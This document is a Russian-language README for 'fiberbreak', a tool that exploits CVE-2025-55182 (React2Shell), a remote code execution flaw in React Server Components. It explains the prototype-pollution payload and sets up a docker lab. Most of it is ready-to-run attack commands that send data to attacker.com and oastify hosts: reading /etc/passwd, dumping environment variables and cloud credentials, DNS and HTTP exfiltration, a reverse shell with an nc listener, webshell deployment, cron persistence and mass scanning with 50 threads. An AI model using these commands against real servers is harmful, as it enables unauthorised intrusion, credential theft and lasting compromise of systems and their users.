
React2Shell Инструмент эксплуатации (CVE-2025-55182)
Фреймворк для эксплуатации CVE-2025-55182 (React2Shell) —
Критическая RCE-уязвимость в серверных компонентах React.
# Клонирование репозитория
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak
# Установка зависимостей
pip install -r requirements.txt
# Сделать исполняемым
chmod +x fiberbreak.py
# Сборка уязвимой тестовой среды
docker-compose up -d
# Ожидание запуска
sleep 20
# Проверка обнаружения
./fiberbreak.py -u http://localhost:3000 detect
# Выполнение RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"
# Проверка
docker exec react2shell-lab ls -la /tmp/
CVE-2025-55182 — критическая уязвимость удаленного выполнения кода в серверных компонентах React (RSC), которая позволяет неаутентифицированным злоумышленникам выполнять произвольный код на сервере.
Коренная причина: Протокол React Flight десериализует ненадежные входные данные от клиента без надлежащей проверки, что позволяет злоумышленникам создавать вредоносные нагрузки, злоупотребляющие цепочкой прототипов JavaScript и конструктором Function.
Вектор атаки: Злоумышленники отправляют специально сформированный POST-запрос multipart/form-data с заголовком Next-Action на любой RSC-эндпоинт. Вредоносная нагрузка использует:
__proto__constructor:constructor1. Злоумышленник отправляет специально сформированный POST-запрос
└─ multipart/form-data с вредоносным JSON
└─ заголовок Next-Action (любое значение)
2. Сервер десериализует нагрузку
└─ React обрабатывает формат чанка RSC
└─ Разрешает объект, похожий на Promise
3. Цепочка гаджетов срабатывает
└─ Доступ к __proto__ обходит проверки hasOwnProperty
└─ constructor:constructor открывает доступ к Function()
└─ _prefix выполняет произвольный код
4. RCE достигнуто
└─ Сервер выполняет JavaScript злоумышленника
└─ Полный компрометация системы
{
"then": "$1:__proto__:then", // Загрязнение прототипа
"status": "resolved_model", // Фейковое внутреннее состояние React
"reason": -1, // Триггер разрешения
"value": '{"then":"$B1337"}', // Ссылка на Blob
"_response": {
"_prefix": "MALICIOUS_CODE_HERE;", // Выполняемый код
"_formData": {
"get": "$1:constructor:constructor" // Доступ к Function()
}
}
}
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
const value = JSON.parse(chunk.value);
// Отсутствие проверки здесь допускает вредоносные чанки
if (value && typeof value.then === 'function') {
// Злоумышленник контролирует метод 'then'
value.then(/* ... */);
}
}
# Обнаружение по одной цели
./fiberbreak.py -u https://target.com detect
# Несколько целей из файла
./fiberbreak.py -l targets.txt detect --threads 20
# Сохранение результатов в JSON
./fiberbreak.py -l targets.txt detect -o results.json
# Отключение проверки SSL
./fiberbreak.py -u https://target.com detect --no-verify-ssl
# Простое слепое выполнение команды
./fiberbreak.py -u https://target.com exploit -c "whoami"
# Запись файла на диск
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pwned.txt:HACKED" -t write_file
# Чтение содержимого файла
./fiberbreak.py -u https://target.com exploit \
-c "/etc/passwd:https://attacker.com" -t file_read
# Обратный шелл
./fiberbreak.py -u https://target.com exploit \
-c "10.10.10.10:4444" -t reverse_shell
# DNS-эксфильтрация (скрытно, без HTTP-трафика)
./fiberbreak.py -u https://target.com exploit \
-c "whoami:attacker.oastify.com" -t dns_exfil
# HTTP-эксфильтрация с выводом
./fiberbreak.py -u https://target.com exploit \
-c "id:https://attacker.com/exfil" -t http_exfil
# Сбор переменных окружения
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/env" -t env_dump
# Рекогносцировка системы
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/recon" -t recon
# Скрытый DNS-маяк (без вывода команды)
./fiberbreak.py -u https://target.com exploit \
-c "attacker.oastify.com" -t stealth_beacon
# Автоматическое обнаружение облачного провайдера и извлечение учетных данных
# Поддерживает: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
-c "https://attacker.com/cloud" -t cloud_metadata
| Тип | Формат | Описание | Вывод |
|---|---|---|---|
simple | command | Выполнить любую команду оболочки | Слепой |
output | command + --callback | Выполнение с HTTP-колбэком | Да |
reverse_shell | lhost:lport | Обратный шелл Bash | Интерактивный |
dns_exfil | cmd:domain или domain | DNS-эксфильтрация | DNS-логи |
http_exfil | cmd:callback_url | HTTP-эксфильтрация | HTTP POST |
file_read | filepath:callback | Чтение и эксфильтрация файла | HTTP POST |
write_file | filepath:content | Запись файла на диск | Слепой |
env_dump | callback_url | Сбор переменных окружения | HTTP POST |
cloud_metadata | callback_url | Извлечение облачных учетных данных | HTTP POST |
recon | callback_url | Рекогносцировка системы | HTTP POST |
stealth_beacon | domain | DNS-маяк | DNS-логи |
webshell | filepath | Развертывание веб-шелла Node.js | Порт 8080 |
persist | callback_url | Установка персистентности через cron | Cron-задача |
# 1. Скрытное обнаружение с DNS-маяком
./fiberbreak.py -u https://target.com exploit \
-c "recon.yourburp.oastify.com" -t stealth_beacon
# 2. Если уязвимость подтверждена, извлечение чувствительных данных
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/exfil" -t env_dump
# 3. Проверка облачного окружения
./fiberbreak.py -u https://target.com exploit \
-c "https://yourserver.com/cloud" -t cloud_metadata
# 4. Документирование результатов без причинения вреда
# Фаза 1: Обнаружение
./fiberbreak.py -u https://target.com detect -o detection.json
# Фаза 2: Подтверждение
./fiberbreak.py -u https://target.com exploit \
-c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file
# Фаза 3: Оценка воздействия
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/impact" -t recon
# Фаза 4: Извлечение учетных данных (если облачная среда)
./fiberbreak.py -u https://target.com exploit \
-c "https://pentest-server.com/creds" -t cloud_metadata
# Фаза 5: Интерактивный доступ (если авторизовано)
# Терминал 1: Запуск слушателя
nc -lvnp 4444
# Терминал 2: Получение шелла
./fiberbreak.py -u https://target.com exploit \
-c "YOUR_IP:4444" -t reverse_shell
# Создание списка целей
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF
# Сканирование всех целей параллельно
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json
# Фильтрация уязвимых целей
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'